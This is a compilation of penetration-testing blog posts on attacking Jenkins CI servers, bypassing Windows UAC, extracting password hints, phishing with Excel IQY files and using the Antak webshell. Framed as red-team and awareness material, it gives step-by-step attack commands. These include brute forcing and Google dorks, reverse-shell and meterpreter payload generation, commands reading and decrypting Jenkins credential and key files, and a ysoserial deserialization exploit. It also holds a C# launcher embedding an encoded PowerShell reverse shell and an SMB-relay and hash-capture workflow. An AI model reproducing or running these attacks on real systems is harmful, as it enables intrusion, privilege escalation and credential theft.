Week of Continuous Intrusion Tools - Day 1 - Jenkins

Continuous Integration (CI) tools are used to frequently integrate commits by developers. Integration result in execution of builds and tests. CI tools are used by development, build management and source code management teams of many software/code development organizations. Read more about it here.

CI tools support distributed builds. That is, in a typical setup, a CI tool master server has the ability to execute commands on a good number of machines where a build slave or agent is running. A simplified typical industry setup for Continuous Integration looks like s:

I got interested in CI tools when during a penetration test, I got access to one of the client's Jenkins instance available on the internet. It was trivial to compromise it and the access it provided amazed me. I blogged about it here.

As I began to actively look for and compromise CI Servers, I realized that they are widely used, lack basic security controls, often poorly configured yet hold immense importance because of the information (code repositories, build logs, credentials etc.)  and machines (distributed builds) they have access to. If a hacker manages to get access to a CI tool, it provides access to, at least, the source code and command execution access to all the machines running slaves/agents.

Still, what I found is an absolute disregard for security of CI tools, both by its users and developers. Even for instances over the internet, as we will see later on, many leave them running with default or improper configuration.

To generate awareness about the security and attack surface of CI tools, I announce a Week of Continuous Intrusion beginning from 30th November, 2015. For the first three days we will discuss security issues in a CI tool (Jenkins and Hudson, TeamCity, Go and CruiseControl) and how its features and/or mis-configurations could be abused. On the fourth day, we will see a Common Abuse Set and how access to these tools could be used for Lateral movement and post exploitation. On the fifth day, we will discuss defense and other things.

All the code and other materials could be found here: https://github.com/samratashok/ContinuousIntrusion

Day 1 - Jenkins (and Hudson)

Day 2 - TeamCity (Click Here)

Day 3 - Go and CruiseControl (Click Here)

Day 4 - Common Abuse Set, Lateral Movement and Post Exploitation (Click Here)

Day 5 - Defense and other discussion (Click Here)

I hope that this Week of Continuous Intrusion will help System Administrators and Blue Teams to understand the attack surface of CI tools and defend against attacks. I wish Penetration Testers and Red Teams will use this to break into networks thus increasing the security of their clients. I also intend to people doing more extensive research on security of these tools.

Lets begin with Day 1 - Jenkins.

Jenkins

Jenkins is the most widely used CI tool. You can download it from here. Hudson has not been tested separately as both are quite similar. Whatever we are going to do with Jenkins should be applicable to Hudson as well.

We can spot the following security issues in Jenkins:

• No authentication in the default installation.
• No protection against brute force attacks.
• No password complexity/policy for user passwords.
• Runs with SYSTEM or high privilege user on Windows (never seen it running with non-admin privileges).
• Prior to version 1.580, all users of  Jenkins and console output of builds could be seen without authentication. Still, most Jenkins instances are configured the same way (Read privilege to Anonymous).

Documentation about securing Jenkins is here. 

For public instances of Jenkins, so much information could be collected there may be no need to actually compromise it. The information in build outputs is scary! I have seen database credentials, Git credentials, SSH keys etc. More about this in the Google Dorks section below.

After configuring the recommended Matrix Based Security, to be able to play with the Operating System on which Jenkins is installed we must have access to a user who has privileges to Configure builds (a non-admin user). In most of the Jenkins instances, it is trivial to enumerate the users. Combine this with no protection against Brute Force attacks and no password policy and we can easily brute force credentials of users. 

User enumeration could be done by browsing to the following url (Anonymous with Read rights necessary): [JenkinsUrl]/asynchPeople/

We can brute force Jenkins using Burp suite's Intruder or any similar tool. Catch a login request in Burp (POST request to [JenkinsUrl]/j_acegi_security_check) and send it to Intruder. Remember to remove the json parameter from the request. Also, we must go to Options and tell Intruder to follow redirections.

In my experience, CI Tools user love to use their username as password. Therefore, first we will use the "pitchfork" attack type in Intruder to try to use username as password in the brute force requests. If that does not work, we will use the "Cluster Bomb" attack type. We will use usernames as payload 1 and a password list as payload 2. 

And this is how success looks like:

We can keep trying unless we find a user with Configure rights for a project.

Good. With the ability to Configure builds we can do much fun stuff!

Executing Commands

With the privileges to configure builds, we can add/edit "Build Steps" of a project. Build steps provide various options like Executing batch or shell commands (or even more depending on the installed plugins). Lets try it out!

Bingo! We have command execution with SYSTEM privileges on a Windows slave node. Note that this is a feature of Jenkins and not a vulnerability.

I advocate using PowerShell wherever we can to improve the existing techniques of penetration testing. In the current scenario, we can move to a reverse shell from this simple command execution by using PowerShell. There is no need to drop a binary or any other tool for that. Lets use Invoke-PowerShellTcpOneLine.ps1 from Nishang. The script contains two one-line shells, we just need to use one of them so remove the other line of code from the script. To execute it from memory, we must encode it using Invoke-Encode from Nishang with the -OutCommand parameter.

PS C:\nishang> . .\Utility\Invoke-Encode.ps1
PS C:\nishang> Invoke-Encode -DataToEncode .\Shells\Invoke-PowerShellTcpOneLine.ps1 -OutCommand

Now the generated encoded script from "encodedcommand.txt" file could be used with PowerShell's -encodedcommand parameter to execute the script without touching disk.

Great! An in-memory reverse shell with SYSTEM privileges! There is a reason why we use Powershell :)

For metasploit fans (like me), we can also get a reverse meterpreter by abusing this functionality. We must generate a payload using "./msfvenom -p windows/x64/meterpreter/reverse_https LHOST=[IPAddress] -f psh-cmd". The generate payload can then be used like this:

Awesome, isn't it?

Note that we executed the commands by utilizing ability to configure builds on a slave. Projects could be configured to use the executor on master as well. If we have the ability to configure builds on master, couple of more interesting attacks could be executed.

Removing Security

If we can configure builds on master, we can remove all the security for the Jenkins server. See this. We just need to remove/rename or edit config.xml from the $JENKINS_HOME/config directory and restart the Jenkins service. If editing, we just need to replace [useSecurity]true[/useSecurity] with [useSecurity]false[/useSecurity] in the config.xml (in case Realm and authorization . For Windows, we can use the below PowerShell commands to edit config.xml

powershell "(cat C:\test\config.xml) -replace('<usesecurity>true</useSecurity>','<usesecurity>false</useSecurity>') | Set-Content C:\test\config.xml

To know $JENKINS_HOME, see the build logs for any project on master.

Running it as a build step on master and a service restart will result in removal of all security from the web console and anyone browsing to the URL will have admin rights. During my tests, I was unable to restart Jenkins service using PowerShell's Restart-Service or sc.exe on Windows. It was only from a meterpreter session when the service could be restarted. On *nix, it may not be possible to resatrt Jenkins service without root.

Decrypt Credentials

It is possible to retrieve credentials stored by Jenkins in clear text. This include passwords, passphrases, SSH keys (including private keys) and more which are saved using the Manage Credentials section of an admin user. By abusing ability to configure build on master we can read and decrypt the credentials. A thorough blog post from where I stole the technique from is this: http://thiébaud.fr/jenkins_credentials.html

We need three pieces of information from Jenkins master:

1. credentials.xml from the $JENKINS_HOME directory which contains the encrypted passwords.
2.  hudson.util.secret from the $JENKINS_HOME\secrets directory which encrypts the passwords.
3. master.key from the $JENKINS_HOME\secrets directory which encrypts hudson.util.secret.

On a Windows master, below PowerShell commands could be used to read these files. Note that we are reading hudson.util.secret and master.key in bytes to preserve their format.

powershell -c "cat 'C:\Program Files (x86)\Jenkins\credentials.xml'"
powershell -c "cat -encoding byte 'C:\Program Files (x86)\Jenkins\secrets\master.key'"
powershell -c "cat -encoding byte -path 'C:\Program Files (x86)\Jenkins\secrets\hudson.util.Secret'"

The keys could be converted back to the raw format using TexttoExe from Nishang (or any other tool or script on *nix).

PS C:\nishang> . C:\nishang\Utility\TexttoExe.ps1
PS C:\nishang> TexttoEXE -FileName C:\test\hudson.util.txt -EXE C:\test\hudson.util.secret
PS C:\nishang> TexttoEXE -FileName C:\test\master.txt -EXE C:\test\master.key

Using decrypt.py from here (updated version of the one here) the passwords can be decrypted:

Bingo! And this is 2015. Lets all of us do a facedesk together.

Note that in case of SSH keys, above exercise is required to retrieve only the passphrase. SSH keys are stored in clear in the $JENKINS_HOME or in credentials.xml in clear text! Also, no salt is used to encrypt the passwords so it is possible to compare encrypted passwords from Jenkins with known encrypted text.

Google Dorks

Use the below Google dorks for public instances of Jenkins. More could be created depending on the use case:
Public instances: intitle:"Dashboard [Jenkins]"
Public instances with no authentication: intitle:"Dashboard [Jenkins]" intext:"Manage Jenkins"

Just replace Jenkins with Hudson in above for Hudson instances.

The kind of sensitive data exposed by public instances of Jenkins is amazing! They leak much about the source code creation and management. While while looking at such instances one can find passwords for private source code repositories, links to under development products, employee data and more, what I found was more interesting than any of these.

In the screenshot below, someone left an interesting message on a public unauthenticated server of Jenkins.

Another one, highlighting the state of security of CI tools is below. This Jenkins instance runs as root without authentication:

Unserialization Vulnerability

In case you missed it, Jenkins (and many more tools) were affected by the Unserialization bug in commons-collection Java library. Read more about it here.

This vulnerability could be exploited to get remote command execution on a Jenkins instance. All we need is:

1. Get the ysoserial (cool name!) from here: https://github.com/frohoff/ysoserial 

2. Create a reverse shell using ysoserial:

java -jar ysoserial-0.0.2-all.jar CommonsCollections1 'powershell.exe -e <encoded_reverse_shell>' > payload.out

3. Get the Jenkins exploit from here: https://github.com/foxglovesec/JavaUnserializeExploits
4. Use it against a Jenkins instance (in your lab):

python jenkins_exploit.py 192.168.230.125 8080 payload.out

5. Do the victory dance.

This is how success looks like:

Instances exposed on the internet may be safe because the exploit connects on a higher port which is random (Port 49189 in the above screenshot). If an environment allows connections to such ports from the Internet they probably have bigger problems to solve.

Jenkins released a fix on 11th November, 2015 which could be found here.

Video Demonstration

I made a quick video to demonstrate attacks discussed in this post.

Slides of my talk at BlackHat Europe and DeepSec

I gave a talk at BlackHat Europe and DeepSec on Continuous Intrusion: Why CI tools are an attacker's best friends. Slides are here:
http://www.slideshare.net/nikhil_mittal/continuous-intrusion-why-ci-tools-are-an-attackers-best-friends

Hope you enjoyed the post! Feedback and comments are welcome :)

To support my research, join me for a two days training "PowerShell for Penetration Testers" at:

BlackHat, Asia (March 29-30th, 2016) - https://www.blackhat.com/asia-16/training/powershell-for-penetration-testers.html

HITB, Amsterdam (May 24-25th, 2016) - http://conference.hitb.org/hitbsecconf2016ams/sessions/2-day-training-3-powershell-for-penetration-testers/

Bypassing UAC with PowerShell

Recently during a Red Team engagement, I got shell access to some user machines using Client Side Attacks. In many cases, the users had administrative privileges but I was stuck into non-elevated PowerShell reverse shells.  UAC (User Account Control) was the spoilsport here. I hate UAC, it is annoying yet it "is not a security boundary". I read and tried stuff for bypassing UAC and learned that it is trivial to bypass it. In this post, we will go through various methods and code required to bypass UAC.

The tool of choice for bypassing UAC is UACME https://github.com/hfiref0x/UACME. This awesome tool  implements various methods and is thankfully open source. Thanks to @hFirF0XAs.

As I always try to keep the post-exploitation phase within PowerShell, I tested UACME and implemented some of the methods using PowerShell . I give you Invoke-PsUACme.ps1. It could be found in the Escalation category of Nishang. 

Lets begin with the sysprep method which is the most commonly used method of bypassing UAC. Made famous by Leo Davidson in 2009 (details here), it involves the following steps:

1. Copy/plant a DLL in the C:\Windows\System32\sysprep directory. The name of the DLL depends on the Windows version.
CRYPTBASE.dll for Windows 7
shcore.dll for Windows 8

2.  Execute sysprep.exe from the above directory. It will load the the above DLL and execute it with elevated privileges. 

In fact, all the UAC bypass methods involve playing with DLL and executable names and locations. See the table below:

Method Name	Write DLL to	DLL Name	Executable to Use
sysprep	C:\Windows\System32\sysprep\	CRYPTBASE.dll for Windows 7 and shcore.dll for Windows 8	C:\Windows\System32\sysprep\sysprep.exe
oobe	C:\Windows\System32\oobe\	wdscore.dll for Windows 7, 8 and 10	C:\Windows\System32\oobe\setupsqm.exe
actionqueue	C:\Windows\System32\sysprep\	ActionQueue.dll only for Windows 7	C:\Windows\System32\sysprep\sysprep.exe
migwiz	C:\Windows\System32\migwiz\	wdscore.dll for both Windows 7 and 8	C:\Windows\System32\migwiz\migwiz.exe
cliconfg	C:\Windows\System32\	ntwdblib.dll for Windows 7, 8 and 10	C:\Windows\System32\cliconfg.exe
winsat	C:\Windows\System32\sysprep\Copy winsat.exe from C:\ Windows\System32\ to C:\Windows\System32\sysprep\	ntwdblib.dll for Windows 7 and devobj.dll for Windows 8 and 10	C:\Windows\System32\sysprep\winsat.exe
mmc	C:\Windows\System32\	ntwdblib.dll for Windows 7 and elsext.dll for Windows 8 and 10.	C:\Windows\System32\mmc.exe eventvwr

Builds Tested:

Windows 7 build 6.1.7601.65536
Windows 8.1 build 6.3.9600.0 
Windows 10 build 10.0.10240.0

Now, to copy the DLL to the the sysprep directory, we need elevated privileges. The two most popular ways of achieving this elevation are: use an IFileOperation COM object or use Wusa.exe with its "extract" option.

Currently, Invoke-PsUACme uses the Wusa method. Since Wusa  is set to auto-elevate, we can use it to extract a cab file to the sysprep directory. A cab file could be created using the makecab utility.

C:\> makecab C:\uac\evil.dll C:\uac\uac.cab
C:\> wusa C:\uac\uac.cab /extract:C:\Windows\System32\sysprep\

Above commands are there just for explaining what Invoke-PsUACme does. We need not run the commands manually.

Now, the DLL which Invoke-PsUACme uses is Fubuki from the UACME project with a minor change. Instead of executing cmd.exe, we tell the DLL to execute cmd.bat from C:\Windows\Temp. It is this cmd.bat which will contain our payload to be executed on the target. This provides us a lot of flexibility while executing complex attacks.

Above DLLs (for 64 bit and 32 bit) are hard coded in the script in DLLBytes64 and DLLBytes32 variables. The script is able to determine the bit-ness of the process from which it is called and uses the apt DLL.

Coming to the more interesting part, Invoke-PsUACme could be used this way:

PS C:\> . C:\nishang\Escalation\Invoke-PsUACme.ps1
PS C:\> Invoke-PsUACme -method sysprep

Nice, we are able to bypass UAC! The default payload just checks if the bypass was successful. Note that the -noexit parameter is passed to PowerShell in cmd.bat so that we can see the output.

Custom Payload

We can always use custom payloads as well:

PS C:\> Invoke-PsUACme -method oobe -Payload "powershell -noexit -c Get-Process" 

Note that we need to specify the powershell.exe as well. Whatever is specified for the Payload parameter ends up in C:\Windows\Temp\cmd.bat. You can always change the path to the batch file using the PayloadPath parameter after changing it in the DLL.

We will come back to more practical use of the Payload parameter in a minute.

Custom DLL

To use a Custom DLL, we can use the CustomDLL64 and CustomDLL32 parameters. For example, lets use the original 64 bit Fubuki DLL from UACME and use it with Invoke-PsUACme

PS C:\> Invoke-PSUACMe -CustomDll64 C:\test\Fubuki64.dll -CustomDll32 C:\test\Fubuki32.dll -Verbose" 

We can also prvide a byte array of DLLs to the DLLBytes64 and DLLBytes32 parameter.

Ok, fine. How is it useful?

Lets recreate the scenario with which I started the post, we have few reverse PowerShell shells with no elevated rights. We can use Invoke-PsUACme to execute commands and scripts with elevated rights. Lets use reverse TCP one liner from Nishang, encode it using Invoke-Encode and use it with Invoke-PsUACme:

Awesome! We successfully bypassed UAC and elevated our privileges. To verify it, we ran Get-PassHashes from Powerpreter.

Once elevated privileges are there, we can always elevate to SYSTEM using Enable-DuplicateToken from Nishang/Powerpreter.

Bingo!

In fact, after SYSTEM privs we can use Invoke-Mimikatz from Powersploit for using domain tokens as well. Get your Golden/Silver tickets right here! In case you cannot pull scripts from a web server as in above example, use Invoke-Encode to encode them as compressed base64 and use with the EncodedCommand (-e or -encodecommand) parameter of powershell.exe. You may like to use '-WindowStyle hidden' paramter of PowerShell to avoid showing any pop ups to the user.

There are limitless opportunities with this. Although, metasploit has its own implementation of UAC bypass, we can get a meterpreter with elevated privileges. We can generate a meterpreter in PowerShell using msfvenom: ./msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.230.154 -f psh-reflection

I can never stop stressing how useful PowerShell is for pen testing Windows network. For example, we can use Invoke-PsUACme as a payload with the Client Side attacks initially as well. Lets use Invoke-PsUACme with Out-Word from Nishang. Lets make the function call from the Invoke-PsUACme script itself to avoid unnecessary complex command.

Sweet! An elevated interactive reverse PowerShell shell.

As you can see implementing existing techniques in PowerShell is very rewarding. It not only increases the understanding of PowerShell but the technique as well.

Limitations

Since, Invoke-PsUACme is based on the UACME project which itself implementd techniques used by malware, there are chances that DLLs dropped by it are detected by AV in future. Going by the past record, minor changes in the DLL source should solve this problem, whenever it arises.

Wusa.exe on Windows 10  has no "extract" option. Therefore, Invoke-PsUACme does not work on Windows 10 currently. Please feel free to implement IFileOperation or any other method. I welcome pull requests.

There are other implementations as well of UAC bypass in PowerShell. See this http://www.powershellempire.com/?page_id=380

To better know about the UAC bypass, follow the below links:
https://www.greyhathacker.net/?p=796
http://www.pretentiousname.com/misc/W7E_Source/win7_uac_poc_details.html

Hope you enjoyed the post!

Shameless self promotion

If you liked the post and want to learn more and/or want to support my research and work, join me for a two days training "PowerShell for Penetration Testers" at:

DeepSec, Vienna (November 17-18th, 2015) - https://deepsec.net/speaker.html#WSLOT192

Extracting Windows Users Password Hints with PowerShell

This is a quick blog post about extracting Password Hints for Windows users using PowerShell. Recently, while playing with Windows Registry, I found that it is trivial to extract password hints from Registry. It is available with metasploit as well. Since, I do Post Exploitation almost completely with PowerShell, I wrote Get-PassHints.ps1 to extract password hints for Windows Users using PowerShell. The password hints are stored in the HKLM:\SAM registry hive and we must run Get-PassHints from an elevated shell to be able to read the SAM hive. Though SYSTEM access is required to access the SAM hive, this neat trick by an anonymous user helped me to change permissions of the HKLM:\SAM\SAM\Domains hive where the password hints are stored. This way, we can use Administrative access instead of SYSTEM to read the SAM hive.

Here is how to use Get-PassHints:

PS C:\> . C:\nishang\Gather\Get-PassHints.ps1
PS C:\> Get-PassHints

And this is how it looks like in action:

Get-PassHints is available in the Gather category of Nishang: https://github.com/samratashok/nishang/blob/master/Gather/Get-PassHints.ps1

Nothing new or extraordinary here. In fact, a domain computer can't have password hints unless there is a local user created before joining the computer to a domain.

Hope you enjoyed this!

If you liked the post and want to learn more and/or want to support my research and work, join me for a two days training "PowerShell for Penetration Testers" at:

DeepSec, Vienna (November 17-18th, 2015) - https://deepsec.net/speaker.html#WSLOT192

Abusing Web Query (.iqy) files for effective phishing

Few days back I saw tweets from awesome Casey Smith about IQY files.

Oh.. I've found something lovely.  IQY files are just text files, but associated with Excel..  1 Security Prompt. https://t.co/PlHodVkF2x

— Casey Smith (@subTee) August 12, 2015

Like any penetration tester or red teamer worth his salt, I always try to use built in functionality of the target for my job. So this was obviously very interesting. Ability to make a web request using native/trusted tools is something no attacker would like to miss.

Casey soon tweeted a simple PoC.

WEB 1 http://SERVER/["a","Please Enter Your Password"] Save That As IQY file Send From SERVER nc -lvp 80 Phish in 1 Tweet *grin*

— Casey Smith (@subTee) August 12, 2015

I shared the grin! It is indeed easy yet effective phishing and much more. IQY files could be used for SMB relay attacks as well. Lets have a look at few possibilities.

Phishing for clear text credentials

I have created a PowerShell script which can generate an IQY file. I give you Out-WebQuery.ps1 which could be find in the Client directory of Nishang. Below is an example of using it:

PS C:\> . C:\nishang\Client\Out-WebQuery.ps1
PS C:\> Out-WebQuery -URL http://192.168.230.1/ -OutputPath C:\test\QueryData.iqy

For listener, lets use Start-CaptureServer.ps1. This script starts a HTTP listener and is capable of logging Basic and NTLM authentication requests made to it. It must be run from an elevated shell on the attacker's machine. For clear text credentials we must choose AuthType Basic, it could be used this way.

PS C:\> . C:\nishang\Utility\Start-CaptureServer.ps1
PS C:\> Start-CaptureServer -AuthType Basic -IPAddress 192.168.230.1 -LogFilePath C:\test\log.txt

Now, the IQY file generated in the first step could be sent to a victim as an email attachment or trick a user in opening it from a URL or drop it on target's machine using a Human Interface Device. Anyways, the file is opened in MS Excel and the user gets a security warning.

 So, after clicking on enable, our target will see a prompt asking for credentials:

After the target user enter his credentials (they almost always do), we can see this on the listener and the log file:

Woohoo! User credentials in clear text.

Phishing for NTLM Hashes

Out-WebQuery and Start-CaptureServer can also be used to capture NTMLv2 hashes in the netntlm format from a target. There are less chances of getting caught while using hashes as compared to Basic authentication. The credential prompt user gets is less suspicious as well. We just need to use AuthType NTLM2.

And the hashes could be cracked using John the ripper. The hashes captured above should be used in hashes.txt in the below format

nikhil::PFPTLAB:00000000000000000000000000000000060380250000000F:970170524E4B2A0D00000000020000000000000000000000:1122334455667788

and

john --format=netntlm hashes.txt

We can also use Inveigh (https://github.com/Kevin-Robertson/Inveigh) for capturing hashes using PowerShell. It is much more versatile than Start-CaptureServer and has many more capabilities.

SMB Relay

We can use IQY files for SMB relaying as well. IQY files support UNC paths as well. In such a case, the user need not enter his credentials.

PS C:\> Out-WebQuery -URL \\192.168.230.154\C$ -OutputPath C:\test\QueryData.iqy

Unfortunately, there is no PowerShell code which is able to Relay hashes. Lets use smbrelayx from the Impacket library. Lets replay SMB captures from 192.168.230.111, a Windows 7 machine to 192.168.230.112 which is a Windows 8 machine in my lab.

The runps.exe above is a .Net Console application which runs an encoded PowerShell script on the target by calling powershell.exe. The encoded PowerShell script is the Invoke-PowerShellTcpOneLine from Nishang.

$DotnetCode = @"
public class RunPowerShell
{
    public static void Main(string[] args)
    {
        string cmdstring = "-e SQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAJAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAgACgAJAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBEAGUAZgBsAGEAdABlAFMAdAByAGUAYQBtACAAKAAkACgATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACAAKAAsACQAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAVABaAEYAZABhADgASQB3AEYASQBiAHYAQgAvAHMAUABoADkASwBOAGgATgBuAFEAMQBnADgAMgB5ADQAUwB0AGIAQwBJAE0AbABWAFgAWQBoAFgAZwBSADIANABQAHQAcgBGAFgAcwBFAFIAWAAxAHYAeQA5AHAAYgBlAGQAVgBEAHUASAA5AGUARQA1AGkAaABtAG0AQwBHAGMARQByAEQASABGAHYAagBlAGEALwBHAEIASQBFAHgANQB4AHcASgBZAFoASQBJAGwAaQBIAFMANgBSAGMAVABQAHkAeABYAHkAaQBaADQAYgB5ADQAdwB1AGsAOABDADcAZABwAEMAOABkAG8AdABGAHAATgA3AHAAawA1AGIAVgBHAHUAVgBJAHgAWgBCAG8AbwArAFUAbABEAGMATQBlADUATgA1ADAAZgBDADYAVwB4AG0ANgBqAE4AWABJAGwAdQBJAFQAcgB2AGQAYgBKADgAZgBUAHYAYgBGADIAOABkAEoAaQBvAHkAWgBpAGIAYQBYAFEAZQBJAGIAWgBjAFIASwBmAFEAUABzAEIAcABTAGoAKwBNAEoAcwBRAFQASABuAFkARwBVAEkATgBqADkANQBaAGkAUgBKAEsAaAArADcAdwBiAGMAbQB4AHcAMABPADUAUQBxAHIAUgBTAFoANABJAFAARQBXACsASQBQAEIAUgB4AGEAdQBvAHkAUgBiADgAQwB1AGYARwBxAHMAVwBYAFoATABvAFQAVABDAEwANQBqAEoAYwA2AHQAQQBFAEQAMQBBADIAdQBMADEASABCADgANAB3ADIAcABGAFYAMgB1AEIARwA2AGsASgBCAFgAaABtAGYAdwBCAGcASABZAEsAaQBUAGIAZgBZAFIARgAyAE4ASgBzAGIANwBzAGcAWABIADEAcQBFAEkAZABQAHkAVQBOAGgAbABlAG0AVwBiAGQAYgBNAEIAWgBzADcANQBxAEoALwBUAGYAVQBUAHkAeAArAHQAZwBrAGgAcQAzAE0AVQBkAHoAMQBYAHoAMQBOAHIAUAA5AE4AZABIAGoATgArADgAYQBwAGYAOABkAE4AMQBqAG8AegBmADMALwAwAEIAJwApACkAKQApACwAIABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACwAIABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA7AA==";
        System.Diagnostics.Process.Start("powershell.exe",cmdstring);
    }
}

"@

Add-Type -TypeDefinition $DotnetCode -OutputType ConsoleApplication -OutputAssembly C:\test\runps.exe

There are of course much better and stealthier methods of using calling PowerShell code from .Net but lets not discuss that.

Now, as soon as the target opens the IQY file sent to it:

Yay! An interactive PowerShell session. If you want, this can be easily upgraded to a meterpreter session as well. PowerShell payloads of msfvenom will be your friends.

Please note that there are tonnes of existing ways to perform the above attacks. See this nice blog post by Karl  https://blog.netspi.com/10-places-to-stick-your-unc-path/. In fact, the methods listed there could be used with Start-CaptureServer or Inveigh as well.

Out-WebQuery and Start-CaptureServer could be found in the Nishang repository: https://github.com/samratashok/nishang

I've never heard about abusing IQY files earlier and this is one more trick added to my and hopefully your collection of phishing tricks. Hope this would be useful to some of you.

If you liked the post and want to learn more and/or want to support my research and work, join me for a two days training "PowerShell for Penetration Testers" at:

DeepSec, Vienna (November 17-18th, 2015) - https://deepsec.net/speaker.html#WSLOT192

Executing SQL Queries from Antak Webshell

I have recently made some changes to Antak. The first one implementation of an authentication mechanism to check its misuse. It was also part of a feature request raised in Nishang's GitHub repository: https://github.com/samratashok/nishang/issues/17. Antak now asks for Username and Password before you would be able to use it on a target. The username/password are hardcoded in the the antak.aspx itself.  Unless correct credentials are entered, all the controls in the webshell remain invisible and disabled. This is not secure but that is the only way I could implement some sort of restriction on antak's access and still keep it in a single file. Default Username is "Disclaimer" and Password is "ForLegitUseOnly" without quotes and case-sensitive. This is how Antak looks like without authentication. 

After authentication, we will be able to access Antak. Because Antak has the ability to execute PowerShell commands and scripts, upload and download files we can use it for many things.  I have already done a post earlier on other functionalities of Antak: http://www.labofapenetrationtester.com/2014/06/introducing-antak.html. In this post lets focus on the new functionality of ability to execute SQL Queries from Antak. The code has been largely taken from cmdsql (https://github.com/NetSPI/cmdsql) from Antti and Scott at NetSPI.

Here is how to use it:
Click om "Parse Web.Config". We should be able to see the connection string. By default, Antak looks for web.config in the C:\Inetpub directory. We can specify a full path in the command box to look for web.config in other directory.

Paste that connection string in the textbox besides the "Execute SQL Query" button. Enter the SQL Query in the command box and click the "Execute SQL Query" button.

Great! We can now execute SQL queries. This opens up so many opportunities to play with. Feel free to play around with SQL Queries, look here to begin with: http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet

Hope you enjoyed this! I welcome suggestions and feedback.